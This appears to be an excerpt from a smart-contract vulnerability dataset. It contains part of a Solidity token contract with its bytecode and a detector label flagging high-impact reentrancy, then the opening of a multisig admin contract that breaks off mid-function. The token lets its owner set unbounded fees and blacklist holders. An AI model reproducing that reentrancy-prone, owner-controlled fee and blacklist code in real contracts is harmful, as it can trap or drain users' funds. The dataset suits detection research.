emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055a578063dd62ed3e1461057a578063ea1644d5146105c0578063f2fde38b146105e057600080fd5b8063a2a957bb146104d5578063a9059cbb146104f5578063bfd7928414610515578063c3c8cd801461054557600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b557600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611966565b610600565b005b34801561020a57600080fd5b5060408051808201909152600b81526a46616c636f6e3920496e7560a81b60208201525b60405161023b9190611a2b565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a80565b61069f565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b50680246ddf979766800005b60405190815260200161023b565b3480156102de57600080fd5b506102646102ed366004611aac565b6106b6565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023b565b34801561033057600080fd5b50601554610294906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611aed565b61071f565b34801561037057600080fd5b506101fc61037f366004611b1a565b61076a565b34801561039057600080fd5b506101fc6107b2565b3480156103a557600080fd5b506102c46103b4366004611aed565b6107fd565b3480156103c557600080fd5b506101fc61081f565b3480156103da57600080fd5b506101fc6103e9366004611b35565b610893565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611aed565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610294565b34801561045b57600080fd5b506101fc61046a366004611b1a565b6108c2565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600781526646616c636f6e3960c81b602082015261022e565b3480156104c157600080fd5b506101fc6104d0366004611b35565b61090a565b3480156104e157600080fd5b506101fc6104f0366004611b4e565b610939565b34801561050157600080fd5b50610264610510366004611a80565b610977565b34801561052157600080fd5b50610264610530366004611aed565b60106020526000908152604090205460ff1681565b34801561055157600080fd5b506101fc610984565b34801561056657600080fd5b506101fc610575366004611b80565b6109d8565b34801561058657600080fd5b506102c4610595366004611c04565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cc57600080fd5b506101fc6105db366004611b35565b610a79565b3480156105ec57600080fd5b506101fc6105fb366004611aed565b610aa8565b6000546001600160a01b031633146106335760405162461bcd60e51b815260040161062a90611c3d565b60405180910390fd5b60005b815181101561069b5760016010600084848151811061065757610657611c72565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069381611c9e565b915050610636565b5050565b60006106ac338484610b92565b5060015b92915050565b60006106c3848484610cb6565b610715843361071085604051806060016040528060288152602001611db8602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f2565b610b92565b5060019392505050565b6000546001600160a01b031633146107495760405162461bcd60e51b815260040161062a90611c3d565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107945760405162461bcd60e51b815260040161062a90611c3d565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e757506013546001600160a01b0316336001600160a01b0316145b6107f057600080fd5b476107fa8161122c565b50565b6001600160a01b0381166000908152600260205260408120546106b090611266565b6000546001600160a01b031633146108495760405162461bcd60e51b815260040161062a90611c3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bd5760405162461bcd60e51b815260040161062a90611c3d565b601655565b6000546001600160a01b031633146108ec5760405162461bcd60e51b815260040161062a90611c3d565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109345760405162461bcd60e51b815260040161062a90611c3d565b601855565b6000546001600160a01b031633146109635760405162461bcd60e51b815260040161062a90611c3d565b600893909355600a91909155600955600b55565b60006106ac338484610cb6565b6012546001600160a01b0316336001600160a01b031614806109b957506013546001600160a01b0316336001600160a01b0316145b6109c257600080fd5b60006109cd306107fd565b90506107fa816112ea565b6000546001600160a01b03163314610a025760405162461bcd60e51b815260040161062a90611c3d565b60005b82811015610a73578160056000868685818110610a2457610a24611c72565b9050602002016020810190610a399190611aed565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6b81611c9e565b915050610a05565b50505050565b6000546001600160a01b03163314610aa35760405162461bcd60e51b815260040161062a90611c3d565b601755565b6000546001600160a01b03163314610ad25760405162461bcd60e51b815260040161062a90611c3d565b6001600160a01b038116610b375760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062a565b6001600160a01b038216610c555760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062a565b6001600160a01b038216610d7c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062a565b60008111610dde5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062a565b6000546001600160a01b03848116911614801590610e0a57506000546001600160a01b03838116911614155b156110eb57601554600160a01b900460ff16610ea3576000546001600160a01b03848116911614610ea35760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062a565b601654811115610ef55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062a565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3757506001600160a01b03821660009081526010602052604090205460ff16155b610f8f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062a565b6015546001600160a01b038381169116146110145760175481610fb1846107fd565b610fbb9190611cb9565b106110145760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062a565b600061101f306107fd565b6018546016549192508210159082106110385760165491505b80801561104f5750601554600160a81b900460ff16155b801561106957506015546001600160a01b03868116911614155b801561107e5750601554600160b01b900460ff165b80156110a357506001600160a01b03851660009081526005602052604090205460ff16155b80156110c857506001600160a01b03841660009081526005602052604090205460ff16155b156110e8576110d6826112ea565b4780156110e6576110e64761122c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112d57506001600160a01b03831660009081526005602052604090205460ff165b8061115f57506015546001600160a01b0385811691161480159061115f57506015546001600160a01b03848116911614155b1561116c575060006111e6565b6015546001600160a01b03858116911614801561119757506014546001600160a01b03848116911614155b156111a957600854600c55600954600d555b6015546001600160a01b0384811691161480156111d457506014546001600160a01b03858116911614155b156111e657600a54600c55600b54600d555b610a7384848484611473565b600081848411156112165760405162461bcd60e51b815260040161062a9190611a2b565b5060006112238486611cd1565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069b573d6000803e3d6000fd5b60006006548211156112cd5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062a565b60006112d76114a1565b90506112e383826114c4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133257611332611c72565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138657600080fd5b505afa15801561139a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113be9190611ce8565b816001815181106113d1576113d1611c72565b6001600160a01b0392831660209182029290920101526014546113f79130911684610b92565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611430908590600090869030904290600401611d05565b600060405180830381600087803b15801561144a57600080fd5b505af115801561145e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148057611480611506565b61148b848484611534565b80610a7357610a73600e54600c55600f54600d55565b60008060006114ae61162b565b90925090506114bd82826114c4565b9250505090565b60006112e383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166d565b600c541580156115165750600d54155b1561151d57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115468761169b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157890876116f8565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a7908661173a565b6001600160a01b0389166000908152600260205260409020556115c981611799565b6115d384836117e3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161891815260200190565b60405180910390a3505050505050505050565b6006546000908190680246ddf9797668000061164782826114c4565b82101561166457505060065492680246ddf9797668000092509050565b90939092509050565b6000818361168e5760405162461bcd60e51b815260040161062a9190611a2b565b5060006112238486611d76565b60008060008060008060008060006116b88a600c54600d54611807565b92509250925060006116c86114a1565b905060008060006116db8e87878761185c565b919e509c509a509598509396509194505050505091939550919395565b60006112e383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f2565b6000806117478385611cb9565b9050838110156112e35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062a565b60006117a36114a1565b905060006117b183836118ac565b306000908152600260205260409020549091506117ce908261173a565b30600090815260026020526040902055505050565b6006546117f090836116f8565b600655600754611800908261173a565b6007555050565b6000808080611821606461181b89896118ac565b906114c4565b90506000611834606461181b8a896118ac565b9050600061184c826118468b866116f8565b906116f8565b9992985090965090945050505050565b600080808061186b88866118ac565b9050600061187988876118ac565b9050600061188788886118ac565b905060006118998261184686866116f8565b939b939a50919850919650505050505050565b6000826118bb575060006106b0565b60006118c78385611d98565b9050826118d48583611d76565b146112e35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fa57600080fd5b803561196181611941565b919050565b6000602080838503121561197957600080fd5b823567ffffffffffffffff8082111561199157600080fd5b818501915085601f8301126119a557600080fd5b8135818111156119b7576119b761192b565b8060051b604051601f19603f830116810181811085821117156119dc576119dc61192b565b6040529182528482019250838101850191888311156119fa57600080fd5b938501935b82851015611a1f57611a1085611956565b845293850193928501926119ff565b98975050505050505050565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9357600080fd5b8235611a9e81611941565b946020939093013593505050565b600080600060608486031215611ac157600080fd5b8335611acc81611941565b92506020840135611adc81611941565b929592945050506040919091013590565b600060208284031215611aff57600080fd5b81356112e381611941565b8035801515811461196157600080fd5b600060208284031215611b2c57600080fd5b6112e382611b0a565b600060208284031215611b4757600080fd5b5035919050565b60008060008060808587031215611b6457600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9557600080fd5b833567ffffffffffffffff80821115611bad57600080fd5b818601915086601f830112611bc157600080fd5b813581811115611bd057600080fd5b8760208260051b8501011115611be557600080fd5b602092830195509350611bfb9186019050611b0a565b90509250925092565b60008060408385031215611c1757600080fd5b8235611c2281611941565b91506020830135611c3281611941565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb257611cb2611c88565b5060010190565b60008219821115611ccc57611ccc611c88565b500190565b600082821015611ce357611ce3611c88565b500390565b600060208284031215611cfa57600080fd5b81516112e381611941565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d555784516001600160a01b031683529383019391830191600101611d30565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db257611db2611c88565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dabf516bf9c5f6974a5db65773def83fbb4ba2f96c76ffe1ecce305fecbb6ac864736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,890 |
0x877e5dCd61E8F2Ee72F268012484Fe92CA1ffF31
|
pragma solidity ^0.4.24;
interface ProForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
contract TeamAdmin {
ProForwarderInterface private Pro_Inc = ProForwarderInterface(0x0);
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// SET UP MSFun (note, check signers by name is modified from MSFun sdk)
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
MSFun.Data private msData;
function deleteAnyProposal(bytes32 _whatFunction) onlyDevs() public {MSFun.deleteProposal(msData, _whatFunction);}
function checkData(bytes32 _whatFunction) onlyAdmins() public view returns(bytes32 message_data, uint256 signature_count) {return(MSFun.checkMsgData(msData, _whatFunction), MSFun.checkCount(msData, _whatFunction));}
function checkSignersByName(bytes32 _whatFunction, uint256 _signerA, uint256 _signerB, uint256 _signerC) onlyAdmins() public view returns(bytes32, bytes32, bytes32) {return(this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerA)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerB)), this.adminName(MSFun.checkSigner(msData, _whatFunction, _signerC)));}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETUP
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
struct Admin {
bool isAdmin;
bool isDev;
bytes32 name;
}
mapping (address => Admin) admins_;
uint256 adminCount_;
uint256 devCount_;
uint256 requiredSignatures_;
uint256 requiredDevSignatures_;
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// CONSTRUCTOR
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
constructor()
public
{
address ss = 0x9F2cBF9f685062d804DC6e711fb459D3bD823756;
admins_[ss] = Admin(true, true, "ss");
adminCount_ = 1;
devCount_ = 1;
requiredSignatures_ = 1;
requiredDevSignatures_ = 1;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// FALLBACK, SETUP, AND FORWARD
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// there should never be a balance in this contract. but if someone
// does stupidly send eth here for some reason. we can forward it
// to Pro Inc
function () public payable {
Pro_Inc.deposit.value(address(this).balance)();
}
function setup(address _addr) onlyDevs() public {
require( address(Pro_Inc) == address(0) );
Pro_Inc = ProForwarderInterface(_addr);
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MODIFIERS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
modifier onlyDevs() {
require(admins_[msg.sender].isDev == true, "onlyDevs failed - msg.sender is not a dev");
_;
}
modifier onlyAdmins() {
require(admins_[msg.sender].isAdmin == true, "onlyAdmins failed - msg.sender is not an admin");
_;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DEV ONLY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
/**
* @dev DEV - use this to add admins. this is a dev only function.
* @param _who - address of the admin you wish to add
* @param _name - admins name
* @param _isDev - is this admin also a dev?
*/
function addAdmin(address _who, bytes32 _name, bool _isDev) public onlyDevs() {
if (MSFun.multiSig(msData, requiredDevSignatures_, "addAdmin") == true)
{
MSFun.deleteProposal(msData, "addAdmin");
// must check this so we dont mess up admin count by adding someone
// who is already an admin
if (admins_[_who].isAdmin == false)
{
// set admins flag to true in admin mapping
admins_[_who].isAdmin = true;
// adjust admin count and required signatures
adminCount_ += 1;
requiredSignatures_ += 1;
}
// are we setting them as a dev?
// by putting this outside the above if statement, we can upgrade existing
// admins to devs.
if (_isDev == true)
{
// bestow the honored dev status
admins_[_who].isDev = _isDev;
// increase dev count and required dev signatures
devCount_ += 1;
requiredDevSignatures_ += 1;
}
}
// by putting this outside the above multisig, we can allow easy name changes
// without having to bother with multisig. this will still create a proposal though
// so use the deleteAnyProposal to delete it if you want to
admins_[_who].name = _name;
}
/**
* @dev DEV - use this to remove admins. this is a dev only function.
* -requirements: never less than 1 admin
* never less than 1 dev
* never less admins than required signatures
* never less devs than required dev signatures
* @param _who - address of the admin you wish to remove
*/
function removeAdmin(address _who) public onlyDevs() {
// we can put our requires outside the multisig, this will prevent
// creating a proposal that would never pass checks anyway.
require(adminCount_ > 1, "removeAdmin failed - cannot have less than 2 admins");
require(adminCount_ >= requiredSignatures_, "removeAdmin failed - cannot have less admins than number of required signatures");
if (admins_[_who].isDev == true)
{
require(devCount_ > 1, "removeAdmin failed - cannot have less than 2 devs");
require(devCount_ >= requiredDevSignatures_, "removeAdmin failed - cannot have less devs than number of required dev signatures");
}
// checks passed
if (MSFun.multiSig(msData, requiredDevSignatures_, "removeAdmin") == true)
{
MSFun.deleteProposal(msData, "removeAdmin");
// must check this so we dont mess up admin count by removing someone
// who wasnt an admin to start with
if (admins_[_who].isAdmin == true) {
//set admins flag to false in admin mapping
admins_[_who].isAdmin = false;
//adjust admin count and required signatures
adminCount_ -= 1;
if (requiredSignatures_ > 1)
{
requiredSignatures_ -= 1;
}
}
// were they also a dev?
if (admins_[_who].isDev == true) {
//set dev flag to false
admins_[_who].isDev = false;
//adjust dev count and required dev signatures
devCount_ -= 1;
if (requiredDevSignatures_ > 1)
{
requiredDevSignatures_ -= 1;
}
}
}
}
/**
* @dev DEV - change the number of required signatures. must be between
* 1 and the number of admins. this is a dev only function
* @param _howMany - desired number of required signatures
*/
function changeRequiredSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= adminCount_, "changeRequiredSignatures failed - must be between 1 and number of admins");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredSignatures");
// store new setting.
requiredSignatures_ = _howMany;
}
}
/**
* @dev DEV - change the number of required dev signatures. must be between
* 1 and the number of devs. this is a dev only function
* @param _howMany - desired number of required dev signatures
*/
function changeRequiredDevSignatures(uint256 _howMany)
public
onlyDevs()
{
// make sure its between 1 and number of admins
require(_howMany > 0 && _howMany <= devCount_, "changeRequiredDevSignatures failed - must be between 1 and number of devs");
if (MSFun.multiSig(msData, requiredDevSignatures_, "changeRequiredDevSignatures") == true)
{
MSFun.deleteProposal(msData, "changeRequiredDevSignatures");
// store new setting.
requiredDevSignatures_ = _howMany;
}
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// EXTERNAL FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function requiredSignatures() external view returns(uint256) {return(requiredSignatures_);}
function requiredDevSignatures() external view returns(uint256) {return(requiredDevSignatures_);}
function adminCount() external view returns(uint256) {return(adminCount_);}
function devCount() external view returns(uint256) {return(devCount_);}
function adminName(address _who) external view returns(bytes32) {return(admins_[_who].name);}
function isAdmin(address _who) external view returns(bool) {return(admins_[_who].isAdmin);}
function isDev(address _who) external view returns(bool) {return(admins_[_who].isDev);}
}
library MSFun {
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// DATA SETS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// contact data setup
struct Data
{
mapping (bytes32 => ProposalData) proposal_;
}
struct ProposalData
{
// a hash of msg.data
bytes32 msgData;
// number of signers
uint256 count;
// tracking of wither admins have signed
mapping (address => bool) admin;
// list of admins who have signed
mapping (uint256 => address) log;
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// MULTI SIG FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function multiSig(Data storage self, uint256 _requiredSignatures, bytes32 _whatFunction)
internal
returns(bool)
{
// our proposal key will be a hash of our function name + our contracts address
// by adding our contracts address to this, we prevent anyone trying to circumvent
// the proposal's security via external calls.
bytes32 _whatProposal = whatProposal(_whatFunction);
// this is just done to make the code more readable. grabs the signature count
uint256 _currentCount = self.proposal_[_whatProposal].count;
// store the address of the person sending the function call. we use msg.sender
// here as a layer of security. in case someone imports our contract and tries to
// circumvent function arguments. still though, our contract that imports this
// library and calls multisig, needs to use onlyAdmin modifiers or anyone who
// calls the function will be a signer.
address _whichAdmin = msg.sender;
// prepare our msg data. by storing this we are able to verify that all admins
// are approving the same argument input to be executed for the function. we hash
// it and store in bytes32 so its size is known and comparable
bytes32 _msgData = keccak256(msg.data);
// check to see if this is a new execution of this proposal or not
if (_currentCount == 0)
{
// if it is, lets record the original signers data
self.proposal_[_whatProposal].msgData = _msgData;
// record original senders signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
// also useful if the calling function wants to give something to a
// specific signer.
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
// if we now have enough signatures to execute the function, lets
// return a bool of true. we put this here in case the required signatures
// is set to 1.
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
// if its not the first execution, lets make sure the msgData matches
} else if (self.proposal_[_whatProposal].msgData == _msgData) {
// msgData is a match
// make sure admin hasnt already signed
if (self.proposal_[_whatProposal].admin[_whichAdmin] == false)
{
// record their signature
self.proposal_[_whatProposal].admin[_whichAdmin] = true;
// update log (used to delete records later, and easy way to view signers)
self.proposal_[_whatProposal].log[_currentCount] = _whichAdmin;
// track number of signatures
self.proposal_[_whatProposal].count += 1;
}
// if we now have enough signatures to execute the function, lets
// return a bool of true.
// we put this here for a few reasons. (1) in normal operation, if
// that last recorded signature got us to our required signatures. we
// need to return bool of true. (2) if we have a situation where the
// required number of signatures was adjusted to at or lower than our current
// signature count, by putting this here, an admin who has already signed,
// can call the function again to make it return a true bool. but only if
// they submit the correct msg data
if (self.proposal_[_whatProposal].count == _requiredSignatures) {
return(true);
}
}
}
// deletes proposal signature data after successfully executing a multiSig function
function deleteProposal(Data storage self, bytes32 _whatFunction)
internal
{
//done for readability sake
bytes32 _whatProposal = whatProposal(_whatFunction);
address _whichAdmin;
//delete the admins votes & log. i know for loops are terrible. but we have to do this
//for our data stored in mappings. simply deleting the proposal itself wouldn't accomplish this.
for (uint256 i=0; i < self.proposal_[_whatProposal].count; i++) {
_whichAdmin = self.proposal_[_whatProposal].log[i];
delete self.proposal_[_whatProposal].admin[_whichAdmin];
delete self.proposal_[_whatProposal].log[i];
}
//delete the rest of the data in the record
delete self.proposal_[_whatProposal];
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// HELPER FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
function whatProposal(bytes32 _whatFunction)
private
view
returns(bytes32)
{
return(keccak256(abi.encodePacked(_whatFunction,this)));
}
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// VANITY FUNCTIONS
//^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// returns a hashed version of msg.data sent by original signer for any given function
function checkMsgData (Data storage self, bytes32 _whatFunction)
internal
view
returns (bytes32 msg_data)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].msgData);
}
// returns number of signers for any given function
function checkCount (Data storage self, bytes32 _whatFunction)
internal
view
returns (uint256 signature_count)
{
bytes32 _whatProposal = whatProposal(_whatFunction);
return (self.proposal_[_whatProposal].count);
}
// returns address of an admin who signed for any given function
function checkSigner (Data storage self, bytes32 _whatFunction, uint256 _signer)
internal
view
returns (address signer)
{
require(_signer > 0, "MSFun checkSigner failed - 0 not allowed");
bytes32 _whatProposal = whatProposal(_whatFunction);
